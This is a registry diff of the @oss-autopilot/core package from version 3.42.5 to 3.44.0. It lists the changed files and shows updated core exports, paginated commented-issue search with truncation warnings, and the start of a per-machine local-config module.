@oss-autopilot/core 3.42.5 → 3.44.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli-pre-action.js +8 -3
- package/dist/cli-registry.js +428 -27
- package/dist/cli.bundle.cjs +212 -156
- package/dist/commands/check-integration.js +5 -1
- package/dist/commands/cleanup.d.ts +80 -0
- package/dist/commands/cleanup.js +334 -0
- package/dist/commands/comments.d.ts +14 -1
- package/dist/commands/comments.js +17 -5
- package/dist/commands/config.d.ts +2 -0
- package/dist/commands/config.js +63 -6
- package/dist/commands/daily-dismiss-filter.d.ts +7 -0
- package/dist/commands/daily-dismiss-filter.js +17 -1
- package/dist/commands/daily-ledger.d.ts +150 -0
- package/dist/commands/daily-ledger.js +248 -0
- package/dist/commands/daily-recent-prs.d.ts +26 -0
- package/dist/commands/daily-recent-prs.js +55 -0
- package/dist/commands/daily-render.d.ts +2 -1
- package/dist/commands/daily-render.js +4 -1
- package/dist/commands/daily.d.ts +5 -1
- package/dist/commands/daily.js +83 -93
- package/dist/commands/dashboard-cache.d.ts +2 -0
- package/dist/commands/dashboard-cache.js +33 -8
- package/dist/commands/dashboard-data.js +113 -69
- package/dist/commands/dashboard-gist-sync.js +3 -1
- package/dist/commands/dashboard-lifecycle.d.ts +36 -8
- package/dist/commands/dashboard-lifecycle.js +132 -39
- package/dist/commands/dashboard-process.d.ts +49 -1
- package/dist/commands/dashboard-process.js +111 -12
- package/dist/commands/dashboard-server.js +89 -23
- package/dist/commands/detect-formatters.js +1 -0
- package/dist/commands/dismiss.js +11 -7
- package/dist/commands/doctor.d.ts +15 -1
- package/dist/commands/doctor.js +66 -5
- package/dist/commands/draft.d.ts +77 -0
- package/dist/commands/draft.js +218 -0
- package/dist/commands/eval.js +1 -0
- package/dist/commands/fork-prune.d.ts +58 -0
- package/dist/commands/fork-prune.js +247 -0
- package/dist/commands/guidelines.d.ts +69 -2
- package/dist/commands/guidelines.js +158 -14
- package/dist/commands/index.d.ts +29 -4
- package/dist/commands/index.js +20 -3
- package/dist/commands/issue-thread.d.ts +46 -0
- package/dist/commands/issue-thread.js +123 -0
- package/dist/commands/ledger-backfill.d.ts +9 -0
- package/dist/commands/ledger-backfill.js +44 -1
- package/dist/commands/list-mark-done.d.ts +2 -1
- package/dist/commands/list-mark-done.js +3 -1
- package/dist/commands/list-move-tier.d.ts +2 -1
- package/dist/commands/list-move-tier.js +3 -1
- package/dist/commands/local-repos.js +10 -5
- package/dist/commands/locate-issue-list.d.ts +40 -17
- package/dist/commands/locate-issue-list.js +148 -88
- package/dist/commands/move.js +7 -1
- package/dist/commands/overnight-handoff.d.ts +17 -7
- package/dist/commands/overnight-handoff.js +36 -14
- package/dist/commands/overnight-push-prep.d.ts +14 -8
- package/dist/commands/overnight-push-prep.js +107 -35
- package/dist/commands/overnight-tool-rules.d.ts +54 -0
- package/dist/commands/overnight-tool-rules.js +217 -0
- package/dist/commands/overnight.d.ts +5 -6
- package/dist/commands/overnight.js +61 -140
- package/dist/commands/parse-list.js +7 -1
- package/dist/commands/policy.d.ts +90 -0
- package/dist/commands/policy.js +276 -0
- package/dist/commands/pr-create.d.ts +48 -0
- package/dist/commands/pr-create.js +200 -0
- package/dist/commands/pr-preflight.d.ts +69 -0
- package/dist/commands/pr-preflight.js +348 -0
- package/dist/commands/repo-vet.d.ts +9 -0
- package/dist/commands/repo-vet.js +36 -11
- package/dist/commands/scout-bridge.js +18 -8
- package/dist/commands/search.js +7 -0
- package/dist/commands/setup.d.ts +3 -3
- package/dist/commands/setup.js +160 -48
- package/dist/commands/skip-add.js +10 -1
- package/dist/commands/startup.d.ts +12 -3
- package/dist/commands/startup.js +82 -49
- package/dist/commands/state-cmd.d.ts +2 -0
- package/dist/commands/state-cmd.js +5 -1
- package/dist/commands/stats.js +1 -0
- package/dist/commands/status.js +6 -0
- package/dist/commands/strategy.js +1 -0
- package/dist/commands/validation.d.ts +5 -0
- package/dist/commands/validation.js +5 -0
- package/dist/commands/vet-list.d.ts +6 -0
- package/dist/commands/vet-list.js +26 -1
- package/dist/commands/vet.d.ts +20 -0
- package/dist/commands/vet.js +133 -2
- package/dist/commands/work.d.ts +4 -0
- package/dist/commands/work.js +34 -11
- package/dist/core/__fixtures__/prompt-injection-payloads.js +31 -0
- package/dist/core/anti-llm-policy.d.ts +3 -0
- package/dist/core/anti-llm-policy.js +3 -0
- package/dist/core/auth.js +2 -0
- package/dist/core/ci-analysis.d.ts +7 -2
- package/dist/core/ci-analysis.js +76 -21
- package/dist/core/commit-date.d.ts +45 -0
- package/dist/core/commit-date.js +45 -0
- package/dist/core/compliance-score.d.ts +3 -0
- package/dist/core/compliance-score.js +13 -9
- package/dist/core/config-registry.d.ts +27 -2
- package/dist/core/config-registry.js +94 -7
- package/dist/core/contributing.d.ts +2 -3
- package/dist/core/contributing.js +2 -3
- package/dist/core/daily-logic.d.ts +30 -5
- package/dist/core/daily-logic.js +68 -19
- package/dist/core/errors.d.ts +37 -3
- package/dist/core/errors.js +54 -5
- package/dist/core/fork-prune.d.ts +149 -0
- package/dist/core/fork-prune.js +333 -0
- package/dist/core/gist-health.d.ts +15 -3
- package/dist/core/gist-health.js +8 -0
- package/dist/core/gist-state-store.d.ts +24 -4
- package/dist/core/gist-state-store.js +98 -51
- package/dist/core/github-stats.d.ts +110 -16
- package/dist/core/github-stats.js +295 -110
- package/dist/core/http-cache.d.ts +0 -10
- package/dist/core/http-cache.js +0 -19
- package/dist/core/index.d.ts +13 -6
- package/dist/core/index.js +16 -6
- package/dist/core/issue-conversation.d.ts +8 -2
- package/dist/core/issue-conversation.js +31 -12
- package/dist/core/local-config.d.ts +95 -0
- package/dist/core/local-config.js +270 -0
- package/dist/core/merged-pr-notes.d.ts +2 -2
- package/dist/core/pacing.d.ts +41 -0
- package/dist/core/pacing.js +115 -0
- package/dist/core/pagination.d.ts +55 -0
- package/dist/core/pagination.js +59 -0
- package/dist/core/paths.d.ts +7 -0
- package/dist/core/paths.js +9 -0
- package/dist/core/pr-assembly.d.ts +2 -0
- package/dist/core/pr-assembly.js +6 -2
- package/dist/core/pr-graphql.d.ts +53 -4
- package/dist/core/pr-graphql.js +87 -14
- package/dist/core/pr-monitor.d.ts +35 -12
- package/dist/core/pr-monitor.js +110 -26
- package/dist/core/pr-preflight.d.ts +154 -0
- package/dist/core/pr-preflight.js +753 -0
- package/dist/core/pr-quality-rubric.d.ts +0 -6
- package/dist/core/pr-quality-rubric.js +0 -8
- package/dist/core/pr-template.d.ts +2 -0
- package/dist/core/pr-template.js +5 -1
- package/dist/core/prose-script.d.ts +72 -0
- package/dist/core/prose-script.js +223 -0
- package/dist/core/repo-policy.d.ts +111 -0
- package/dist/core/repo-policy.js +428 -0
- package/dist/core/repo-score-manager.d.ts +66 -0
- package/dist/core/repo-score-manager.js +140 -1
- package/dist/core/review-analysis.d.ts +49 -21
- package/dist/core/review-analysis.js +89 -15
- package/dist/core/reviewed-prs-fetch.js +11 -29
- package/dist/core/reviewed-prs.js +8 -15
- package/dist/core/stale-data.d.ts +78 -0
- package/dist/core/stale-data.js +153 -0
- package/dist/core/state-persistence.d.ts +62 -27
- package/dist/core/state-persistence.js +338 -119
- package/dist/core/state-schema.d.ts +152 -210
- package/dist/core/state-schema.js +232 -80
- package/dist/core/state.d.ts +81 -8
- package/dist/core/state.js +239 -46
- package/dist/core/status-determination.js +32 -12
- package/dist/core/strategy.js +3 -1
- package/dist/core/types.d.ts +22 -1
- package/dist/core/types.js +1 -0
- package/dist/core/untrusted-content.d.ts +30 -11
- package/dist/core/untrusted-content.js +95 -42
- package/dist/core/urls.d.ts +33 -0
- package/dist/core/urls.js +94 -0
- package/dist/dashboard/assets/chart-panel-B-nLVgzQ.js +3 -0
- package/dist/dashboard/assets/index-5IvMGokL.js +55 -0
- package/dist/dashboard/index.html +1 -1
- package/dist/formatters/json.d.ts +432 -10
- package/dist/formatters/json.js +156 -1
- package/package.json +6 -6
- package/dist/core/ci-enforced-tools.d.ts +0 -35
- package/dist/core/ci-enforced-tools.js +0 -109
- package/dist/core/comment-decision.d.ts +0 -79
- package/dist/core/comment-decision.js +0 -82
- package/dist/core/extraction-categories.d.ts +0 -55
- package/dist/core/extraction-categories.js +0 -108
- package/dist/core/follow-up-history.d.ts +0 -40
- package/dist/core/follow-up-history.js +0 -71
- package/dist/core/issue-effort.d.ts +0 -29
- package/dist/core/issue-effort.js +0 -47
- package/dist/core/maintainer-hints.d.ts +0 -23
- package/dist/core/maintainer-hints.js +0 -36
- package/dist/core/workflow-state.d.ts +0 -56
- package/dist/core/workflow-state.js +0 -101
- package/dist/dashboard/assets/chart-panel-DPKNBUts.js +0 -3
- package/dist/dashboard/assets/index-B25bZOYX.js +0 -55
package/dist/core/index.d.ts
CHANGED
|
@@ -2,24 +2,26 @@
|
|
|
2
2
|
* Core module exports
|
|
3
3
|
* Re-exports all core functionality for convenient imports
|
|
4
4
|
*/
|
|
5
|
-
export { StateManager, getStateManager, getStateManagerAsync, ensureGistPersistence, bootstrapGistBestEffort, type GistPersistenceStatus, maybeCheckpoint, resetStateManager, type Stats, type ReleaseIssueResult, } from './state.js';
|
|
6
|
-
export { renderGistWarning, type GistHealth, type GistHealthDegradedCause, type GistWarningCause, } from './gist-health.js';
|
|
5
|
+
export { StateManager, getStateManager, getStateManagerAsync, ensureGistPersistence, bootstrapGistBestEffort, unknownPersistenceModeWarning, type GistPersistenceStatus, maybeCheckpoint, resetStateManager, type Stats, type ReleaseIssueResult, } from './state.js';
|
|
6
|
+
export { renderGistWarning, renderUnknownModeWarning, type GistHealth, type GistHealthDegradedCause, type GistWarningCause, } from './gist-health.js';
|
|
7
7
|
export { GistStateStore } from './gist-state-store.js';
|
|
8
8
|
export { guidelinesFilename, repoFromGuidelinesFilename, GUIDELINES_FILE_PREFIX, GUIDELINES_MAX_BYTES, GuidelinesNotAvailableError, GuidelinesTooLargeError, } from './guidelines-store.js';
|
|
9
9
|
export { PRMonitor, type PRCheckFailure, type FetchPRsResult, computeDisplayLabel, classifyCICheck, classifyFailingChecks, } from './pr-monitor.js';
|
|
10
10
|
export { IssueConversationMonitor, MAX_DIRECT_ENGAGED_FETCHES, type FetchCommentedIssuesOptions, type FetchCommentedIssuesResult, } from './issue-conversation.js';
|
|
11
11
|
export { isBotAuthor, isAcknowledgmentComment, isReactionOnlyComment, isQuoteReplyTo, isStatusNudge, } from './comment-utils.js';
|
|
12
|
-
export { wrapUntrustedContent, fenceFetchedPR, fenceFetchedPRTitles, labelGuidelinesContent, GUIDELINES_PROVENANCE_NOTE, extractFromFence, safeExtractFromFence, UNTRUSTED_OPEN_TAG_NAME, UNTRUSTED_CLOSE_TAG, type UntrustedContentMeta, } from './untrusted-content.js';
|
|
12
|
+
export { wrapUntrustedContent, fenceFetchedPR, fenceFetchedPRTitles, fenceTitlesDeep, labelGuidelinesContent, GUIDELINES_PROVENANCE_NOTE, extractFromFence, safeExtractFromFence, UNTRUSTED_OPEN_TAG_NAME, UNTRUSTED_CLOSE_TAG, type UntrustedContentMeta, } from './untrusted-content.js';
|
|
13
13
|
export { getOctokit, checkRateLimit, type RateLimitInfo } from './github.js';
|
|
14
14
|
export { parseGitHubUrl, issueRefKey, splitRepo, isOwnRepo } from './urls.js';
|
|
15
15
|
export { daysBetween, formatRelativeTime, byDateDescending } from './dates.js';
|
|
16
16
|
export { getCLIVersion, getDataDir, resolveDataDir, getStatePath, getBackupDir, getCacheDir, stateFileExists, } from './paths.js';
|
|
17
17
|
export { getGitHubToken, getGitHubTokenAsync, requireGitHubToken, resetGitHubTokenCache, detectGitHubUsername, } from './auth.js';
|
|
18
18
|
export { DEFAULT_CONCURRENCY } from './concurrency.js';
|
|
19
|
-
export { OssAutopilotError, ConfigurationError, ValidationError, GistPermissionError, ConcurrencyError, GistConcurrencyError, GistFileSizeError, GIST_FILE_SIZE_REMEDY, errorMessage, getHttpStatusCode, isRateLimitError, isRateLimitOrAuthError, nonFatalCatch, resolveErrorCode, } from './errors.js';
|
|
19
|
+
export { OssAutopilotError, ConfigurationError, ValidationError, GistPermissionError, ConcurrencyError, StateLockTimeoutError, NewerStateVersionError, GistConcurrencyError, GistDiscoveryError, GistFileSizeError, GIST_FILE_SIZE_REMEDY, assertAttended, errorMessage, getHttpStatusCode, isRateLimitError, isRateLimitOrAuthError, nonFatalCatch, resolveErrorCode, } from './errors.js';
|
|
20
20
|
export { enableDebug, isDebugEnabled, debug, info, warn, timed } from './logger.js';
|
|
21
21
|
export { HttpCache, getHttpCache, cachedRequest, type CacheEntry } from './http-cache.js';
|
|
22
|
-
export { CRITICAL_STATUSES, applyStatusOverrides, computeRepoSignals, computeLedgerRepoSignals, groupPRsByRepo, assessCapacity, collectActionableIssues, computeActionMenu, isCoveredByDismiss, toShelvedPRRef, buildStarFilter, firstMaintainerResponseFromDigest, lastReviewStateFromDigest,
|
|
22
|
+
export { CRITICAL_STATUSES, shouldAutoUnshelve, shelveReasonsOf, withoutShelvedNeedsAddressing, applyStatusOverrides, computeRepoSignals, computeLedgerRepoSignals, groupPRsByRepo, assessCapacity, collectActionableIssues, computeActionMenu, isCoveredByDismiss, toShelvedPRRef, buildStarFilter, firstMaintainerResponseFromDigest, lastReviewStateFromDigest, } from './daily-logic.js';
|
|
23
|
+
/** @deprecated Since #1948; will be removed in the next major version. */
|
|
24
|
+
export { formatActionHint, formatBriefSummary, formatSummary, printDigest } from '../commands/daily-render.js';
|
|
23
25
|
export { collectEngagedIssues, toIssueEngagement, LEDGER_LINK_MAX_AGE_DAYS, type CollectEngagedIssuesOptions, type EngagedIssue, type EngagedIssuesInput, type EngagedPRLink, } from './engaged-issues.js';
|
|
24
26
|
export { computeContributionStats, type ContributionStats, type ComputeStatsInput } from './stats.js';
|
|
25
27
|
export { selectClosedPRStatusCandidates, toClosedPRStatusUpdate, CLOSED_PR_STATUS_WINDOW_DAYS, type ClosedPRStatusUpdate, type ClosedPRStatusCandidate, type IssueLinkedPR, } from './closed-pr-status.js';
|
|
@@ -31,8 +33,13 @@ export { classifyLinkedPR, isLinkedPRStalled, STALLED_PR_THRESHOLD_DAYS, type Li
|
|
|
31
33
|
export { classifyIssueAvailability, fetchIssueVerification, verifyIssuesBatch, MAX_VERIFY_CONCURRENCY, RULED_OUT_VERDICTS, type BatchVerificationResult, type IssueAvailabilityVerdict, type IssueVerification, type LinkedPRLinkType, type VerifiedLinkedPR, type VerifyIssueParams, } from './issue-verification.js';
|
|
32
34
|
export { classifyAttentionBucket, summarizeAttentionBuckets, shouldSuggestClose, STUCK_CI_THRESHOLD_DAYS, DORMANT_FOLLOWUP_THRESHOLD_DAYS, type AttentionBucket, type AttentionInput, type AttentionSummary, } from './pr-attention.js';
|
|
33
35
|
export { scanForAntiLLMPolicy, type AntiLLMCategory, type AntiLLMMatch, type AntiLLMScanResult, } from './anti-llm-policy.js';
|
|
36
|
+
/**
|
|
37
|
+
* Formatter detection behind the deprecated detect-formatters command.
|
|
38
|
+
*
|
|
39
|
+
* @deprecated Since #1948; will be removed in the next major version.
|
|
40
|
+
*/
|
|
34
41
|
export { detectFormatters, diagnoseCIFormatterFailure, getPreferredFormatter, type DetectedFormatter, type FormatterDetectionResult, type CIFormatterDiagnosis, type FormatterName, } from './formatter-detection.js';
|
|
35
|
-
export { CONFIG_KEY_REGISTRY, type ConfigKeyDef, type SettableVia, isKnownKey, getKeyDef, getSetupKeys, getConfigKeys, suggestKey, formatUnknownKeyError, } from './config-registry.js';
|
|
42
|
+
export { CONFIG_KEY_REGISTRY, type ConfigKeyDef, type SettableVia, type ConfigTrust, isKnownKey, getKeyDef, getKeyTrust, getSetupKeys, getConfigKeys, suggestKey, formatUnknownKeyError, } from './config-registry.js';
|
|
36
43
|
export { DashboardDataSchema, DashboardStatsSchema, validateDashboardData, type DashboardDataParsed, } from './dashboard-data-schema.js';
|
|
37
44
|
export { fetchPRCommentBundle, fetchPRCommentBundlesBatch, type PRCommentBundle, type PRReviewEntry, type PRReviewCommentEntry, type PRIssueCommentEntry, } from './pr-comments-fetcher.js';
|
|
38
45
|
export * from './types.js';
|
package/dist/core/index.js
CHANGED
|
@@ -2,25 +2,30 @@
|
|
|
2
2
|
* Core module exports
|
|
3
3
|
* Re-exports all core functionality for convenient imports
|
|
4
4
|
*/
|
|
5
|
-
export { StateManager, getStateManager, getStateManagerAsync, ensureGistPersistence, bootstrapGistBestEffort, maybeCheckpoint, resetStateManager, } from './state.js';
|
|
6
|
-
export { renderGistWarning, } from './gist-health.js';
|
|
5
|
+
export { StateManager, getStateManager, getStateManagerAsync, ensureGistPersistence, bootstrapGistBestEffort, unknownPersistenceModeWarning, maybeCheckpoint, resetStateManager, } from './state.js';
|
|
6
|
+
export { renderGistWarning, renderUnknownModeWarning, } from './gist-health.js';
|
|
7
7
|
export { GistStateStore } from './gist-state-store.js';
|
|
8
8
|
export { guidelinesFilename, repoFromGuidelinesFilename, GUIDELINES_FILE_PREFIX, GUIDELINES_MAX_BYTES, GuidelinesNotAvailableError, GuidelinesTooLargeError, } from './guidelines-store.js';
|
|
9
9
|
export { PRMonitor, computeDisplayLabel, classifyCICheck, classifyFailingChecks, } from './pr-monitor.js';
|
|
10
10
|
// Search/vetting now delegated to @oss-scout/core via commands/scout-bridge.ts
|
|
11
11
|
export { IssueConversationMonitor, MAX_DIRECT_ENGAGED_FETCHES, } from './issue-conversation.js';
|
|
12
12
|
export { isBotAuthor, isAcknowledgmentComment, isReactionOnlyComment, isQuoteReplyTo, isStatusNudge, } from './comment-utils.js';
|
|
13
|
-
export { wrapUntrustedContent, fenceFetchedPR, fenceFetchedPRTitles, labelGuidelinesContent, GUIDELINES_PROVENANCE_NOTE, extractFromFence, safeExtractFromFence, UNTRUSTED_OPEN_TAG_NAME, UNTRUSTED_CLOSE_TAG, } from './untrusted-content.js';
|
|
13
|
+
export { wrapUntrustedContent, fenceFetchedPR, fenceFetchedPRTitles, fenceTitlesDeep, labelGuidelinesContent, GUIDELINES_PROVENANCE_NOTE, extractFromFence, safeExtractFromFence, UNTRUSTED_OPEN_TAG_NAME, UNTRUSTED_CLOSE_TAG, } from './untrusted-content.js';
|
|
14
14
|
export { getOctokit, checkRateLimit } from './github.js';
|
|
15
15
|
export { parseGitHubUrl, issueRefKey, splitRepo, isOwnRepo } from './urls.js';
|
|
16
16
|
export { daysBetween, formatRelativeTime, byDateDescending } from './dates.js';
|
|
17
17
|
export { getCLIVersion, getDataDir, resolveDataDir, getStatePath, getBackupDir, getCacheDir, stateFileExists, } from './paths.js';
|
|
18
18
|
export { getGitHubToken, getGitHubTokenAsync, requireGitHubToken, resetGitHubTokenCache, detectGitHubUsername, } from './auth.js';
|
|
19
19
|
export { DEFAULT_CONCURRENCY } from './concurrency.js';
|
|
20
|
-
export { OssAutopilotError, ConfigurationError, ValidationError, GistPermissionError, ConcurrencyError, GistConcurrencyError, GistFileSizeError, GIST_FILE_SIZE_REMEDY, errorMessage, getHttpStatusCode, isRateLimitError, isRateLimitOrAuthError, nonFatalCatch, resolveErrorCode, } from './errors.js';
|
|
20
|
+
export { OssAutopilotError, ConfigurationError, ValidationError, GistPermissionError, ConcurrencyError, StateLockTimeoutError, NewerStateVersionError, GistConcurrencyError, GistDiscoveryError, GistFileSizeError, GIST_FILE_SIZE_REMEDY, assertAttended, errorMessage, getHttpStatusCode, isRateLimitError, isRateLimitOrAuthError, nonFatalCatch, resolveErrorCode, } from './errors.js';
|
|
21
21
|
export { enableDebug, isDebugEnabled, debug, info, warn, timed } from './logger.js';
|
|
22
22
|
export { HttpCache, getHttpCache, cachedRequest } from './http-cache.js';
|
|
23
|
-
export { CRITICAL_STATUSES, applyStatusOverrides, computeRepoSignals, computeLedgerRepoSignals, groupPRsByRepo, assessCapacity, collectActionableIssues, computeActionMenu, isCoveredByDismiss, toShelvedPRRef, buildStarFilter, firstMaintainerResponseFromDigest, lastReviewStateFromDigest,
|
|
23
|
+
export { CRITICAL_STATUSES, shouldAutoUnshelve, shelveReasonsOf, withoutShelvedNeedsAddressing, applyStatusOverrides, computeRepoSignals, computeLedgerRepoSignals, groupPRsByRepo, assessCapacity, collectActionableIssues, computeActionMenu, isCoveredByDismiss, toShelvedPRRef, buildStarFilter, firstMaintainerResponseFromDigest, lastReviewStateFromDigest, } from './daily-logic.js';
|
|
24
|
+
// Kept on the public entry for semver only (#1948). These printers live in
|
|
25
|
+
// commands/; core modules must not import them, so this re-export stays here
|
|
26
|
+
// rather than in daily-logic.ts.
|
|
27
|
+
/** @deprecated Since #1948; will be removed in the next major version. */
|
|
28
|
+
export { formatActionHint, formatBriefSummary, formatSummary, printDigest } from '../commands/daily-render.js';
|
|
24
29
|
export { collectEngagedIssues, toIssueEngagement, LEDGER_LINK_MAX_AGE_DAYS, } from './engaged-issues.js';
|
|
25
30
|
export { computeContributionStats } from './stats.js';
|
|
26
31
|
export { selectClosedPRStatusCandidates, toClosedPRStatusUpdate, CLOSED_PR_STATUS_WINDOW_DAYS, } from './closed-pr-status.js';
|
|
@@ -32,8 +37,13 @@ export { classifyLinkedPR, isLinkedPRStalled, STALLED_PR_THRESHOLD_DAYS, } from
|
|
|
32
37
|
export { classifyIssueAvailability, fetchIssueVerification, verifyIssuesBatch, MAX_VERIFY_CONCURRENCY, RULED_OUT_VERDICTS, } from './issue-verification.js';
|
|
33
38
|
export { classifyAttentionBucket, summarizeAttentionBuckets, shouldSuggestClose, STUCK_CI_THRESHOLD_DAYS, DORMANT_FOLLOWUP_THRESHOLD_DAYS, } from './pr-attention.js';
|
|
34
39
|
export { scanForAntiLLMPolicy, } from './anti-llm-policy.js';
|
|
40
|
+
/**
|
|
41
|
+
* Formatter detection behind the deprecated detect-formatters command.
|
|
42
|
+
*
|
|
43
|
+
* @deprecated Since #1948; will be removed in the next major version.
|
|
44
|
+
*/
|
|
35
45
|
export { detectFormatters, diagnoseCIFormatterFailure, getPreferredFormatter, } from './formatter-detection.js';
|
|
36
|
-
export { CONFIG_KEY_REGISTRY, isKnownKey, getKeyDef, getSetupKeys, getConfigKeys, suggestKey, formatUnknownKeyError, } from './config-registry.js';
|
|
46
|
+
export { CONFIG_KEY_REGISTRY, isKnownKey, getKeyDef, getKeyTrust, getSetupKeys, getConfigKeys, suggestKey, formatUnknownKeyError, } from './config-registry.js';
|
|
37
47
|
export { DashboardDataSchema, DashboardStatsSchema, validateDashboardData, } from './dashboard-data-schema.js';
|
|
38
48
|
// PR comment bundle types — wire shape consumed by the MCP extract-learnings
|
|
39
49
|
// prompt. Re-exported so MCP doesn't have to redeclare the interface and
|
|
@@ -58,13 +58,19 @@ export interface FetchCommentedIssuesResult {
|
|
|
58
58
|
*/
|
|
59
59
|
lookupFailures: number;
|
|
60
60
|
/**
|
|
61
|
-
* Non-fatal problems for the run's warning channel: a
|
|
62
|
-
* issue that is gone, a comment thread too long to read to the end, an
|
|
61
|
+
* Non-fatal problems for the run's warning channel: a comment search that
|
|
62
|
+
* returned a partial list (#1928), a claimed or open-PR issue that is gone, a comment thread too long to read to the end, an
|
|
63
63
|
* engagement time that does not parse, engaged issues with new activity
|
|
64
64
|
* left unread because the comment-fetch cap bit. Each means the result
|
|
65
65
|
* may be missing or misreporting something the user can act on.
|
|
66
66
|
*/
|
|
67
67
|
warnings: string[];
|
|
68
|
+
/**
|
|
69
|
+
* Set when the comment search returned a partial list (#1928): a short
|
|
70
|
+
* label for lists of degraded operations, e.g. `commented-issue search
|
|
71
|
+
* truncated (300 of 420)`. The full sentence is in `warnings`.
|
|
72
|
+
*/
|
|
73
|
+
searchTruncation?: string;
|
|
68
74
|
}
|
|
69
75
|
export declare class IssueConversationMonitor {
|
|
70
76
|
private octokit;
|
|
@@ -23,7 +23,7 @@
|
|
|
23
23
|
*/
|
|
24
24
|
import { getOctokit } from './github.js';
|
|
25
25
|
import { isBotAuthor, isAcknowledgmentComment, isReactionOnlyComment, isQuoteReplyTo, isStatusNudge, } from './comment-utils.js';
|
|
26
|
-
import { paginateAll, paginateAllDetailed } from './pagination.js';
|
|
26
|
+
import { paginateAll, paginateAllDetailed, searchAllPages } from './pagination.js';
|
|
27
27
|
import { getHttpCache, cachedRequest } from './http-cache.js';
|
|
28
28
|
import { getStateManager } from './state.js';
|
|
29
29
|
import { daysBetween } from './dates.js';
|
|
@@ -66,6 +66,22 @@ function describeError(error) {
|
|
|
66
66
|
const status = getHttpStatusCode(error);
|
|
67
67
|
return status === undefined ? errorMessage(error) : `HTTP ${status}: ${errorMessage(error)}`;
|
|
68
68
|
}
|
|
69
|
+
/** Word a partial comment search: a failed later page, else the counts read. */
|
|
70
|
+
function describeSearchTruncation(search) {
|
|
71
|
+
const read = search.items.length;
|
|
72
|
+
const unchecked = 'Replies on the other issues you commented on are not checked this run.';
|
|
73
|
+
if (search.failure) {
|
|
74
|
+
const cause = describeError(search.failure.error);
|
|
75
|
+
return {
|
|
76
|
+
label: `commented-issue search failed on page ${search.failure.page} (${read} read)`,
|
|
77
|
+
message: `Commented-issue search failed on page ${search.failure.page} (${cause}); only the ${read} result(s) from the page(s) before it were read. ${unchecked}`,
|
|
78
|
+
};
|
|
79
|
+
}
|
|
80
|
+
return {
|
|
81
|
+
label: `commented-issue search truncated (${read} of ${search.totalCount})`,
|
|
82
|
+
message: `Commented-issue search is partial: read the ${read} most recently updated of ${search.totalCount} result(s). ${unchecked}`,
|
|
83
|
+
};
|
|
84
|
+
}
|
|
69
85
|
/**
|
|
70
86
|
* Whether a gone engaged issue is worth a warning: a claim or an open PR
|
|
71
87
|
* still points at it and the user can release the claim or fix the PR's
|
|
@@ -126,23 +142,26 @@ export class IssueConversationMonitor {
|
|
|
126
142
|
const report = { warnings: [], failures: [] };
|
|
127
143
|
const { warnings, failures } = report;
|
|
128
144
|
debug(MODULE, `Fetching commented issues for @${username} (last ${maxDays} days)...`);
|
|
129
|
-
// Search for open issues the user has commented on, updated within window
|
|
130
|
-
//
|
|
131
|
-
|
|
132
|
-
|
|
145
|
+
// Search for open issues the user has commented on, updated within window.
|
|
146
|
+
// Own repos and self-authored issues are dropped below either way;
|
|
147
|
+
// excluding them in the query keeps them from using up page slots (#1928).
|
|
148
|
+
// Excluded repos and orgs and the blocklist are still filtered after the cap.
|
|
149
|
+
const search = await searchAllPages((page) => this.octokit.search.issuesAndPullRequests({
|
|
150
|
+
page,
|
|
151
|
+
q: `commenter:${username} type:issue state:open updated:>=${since} -user:${username} -author:${username}`,
|
|
133
152
|
sort: 'updated',
|
|
134
153
|
order: 'desc',
|
|
135
154
|
per_page: 100,
|
|
136
|
-
});
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
|
|
155
|
+
}));
|
|
156
|
+
const searchTruncation = search.truncated ? describeSearchTruncation(search) : undefined;
|
|
157
|
+
if (searchTruncation)
|
|
158
|
+
warnings.push(searchTruncation.message);
|
|
140
159
|
// Filter out PRs, user-authored issues, excluded repos, and blocklisted repos.
|
|
141
160
|
// Also parse repo info for each candidate to avoid re-parsing in analyzeIssueConversation.
|
|
142
161
|
const candidates = [];
|
|
143
162
|
const seenKeys = new Set();
|
|
144
163
|
const searchCandidates = new Map();
|
|
145
|
-
for (const item of
|
|
164
|
+
for (const item of search.items) {
|
|
146
165
|
// Defensive: skip pull requests in case type:issue qualifier is unreliable
|
|
147
166
|
if (item.pull_request)
|
|
148
167
|
continue;
|
|
@@ -230,7 +249,7 @@ export class IssueConversationMonitor {
|
|
|
230
249
|
};
|
|
231
250
|
results.sort((a, b) => statusOrder[a.status] - statusOrder[b.status]);
|
|
232
251
|
debug(MODULE, `Analyzed ${results.length} issue conversations (${results.filter((i) => i.status === 'new_response').length} with new responses)`);
|
|
233
|
-
return { failures, lookupFailures, warnings, issues: results };
|
|
252
|
+
return { failures, lookupFailures, warnings, issues: results, searchTruncation: searchTruncation?.label };
|
|
234
253
|
}
|
|
235
254
|
/** Repo-level exclusions shared by the search results and the direct fetches. */
|
|
236
255
|
isRepoAllowed(repoFullName, config) {
|
|
@@ -238,7 +257,7 @@ export class IssueConversationMonitor {
|
|
|
238
257
|
// Skip issues in user-owned repos (we only care about contributing to others' projects)
|
|
239
258
|
if (isOwnRepo(owner, config.githubUsername))
|
|
240
259
|
return false;
|
|
241
|
-
if (config.excludeRepos.
|
|
260
|
+
if (config.excludeRepos.some((repo) => repo.toLowerCase() === repoFullName.toLowerCase()))
|
|
242
261
|
return false;
|
|
243
262
|
if (config.excludeOrgs?.some((org) => owner.toLowerCase() === org.toLowerCase()))
|
|
244
263
|
return false;
|
|
@@ -0,0 +1,95 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Per-machine settings (#1950): `~/.oss-autopilot/local-config.json`.
|
|
3
|
+
*
|
|
4
|
+
* The synced state document is shared by every machine through the Gist, so a
|
|
5
|
+
* filesystem path stored there is overwritten by whichever machine wrote
|
|
6
|
+
* last. The curated list path, the skipped-issues path, the local repo scan
|
|
7
|
+
* roots (#2010) and the local repo cache live here instead. Like
|
|
8
|
+
* `machine-id`, the file is outside `state.json`, so no sync path ever
|
|
9
|
+
* carries it.
|
|
10
|
+
*
|
|
11
|
+
* Transition: the synced keys (`config.issueListPath`,
|
|
12
|
+
* `config.skippedIssuesPath`, `config.localRepoScanPaths`, `localRepoCache`)
|
|
13
|
+
* stay in the schema and are still read as a fallback, so a machine that has
|
|
14
|
+
* not set a local value behaves as before. New clients write path settings here only; a synced
|
|
15
|
+
* value is copied here the first time it is read and found on this machine's
|
|
16
|
+
* disk, and is never adopted when it is not.
|
|
17
|
+
*/
|
|
18
|
+
import { type LocalRepoCache } from './state-schema.js';
|
|
19
|
+
/** Config keys whose value is a filesystem path on one machine. */
|
|
20
|
+
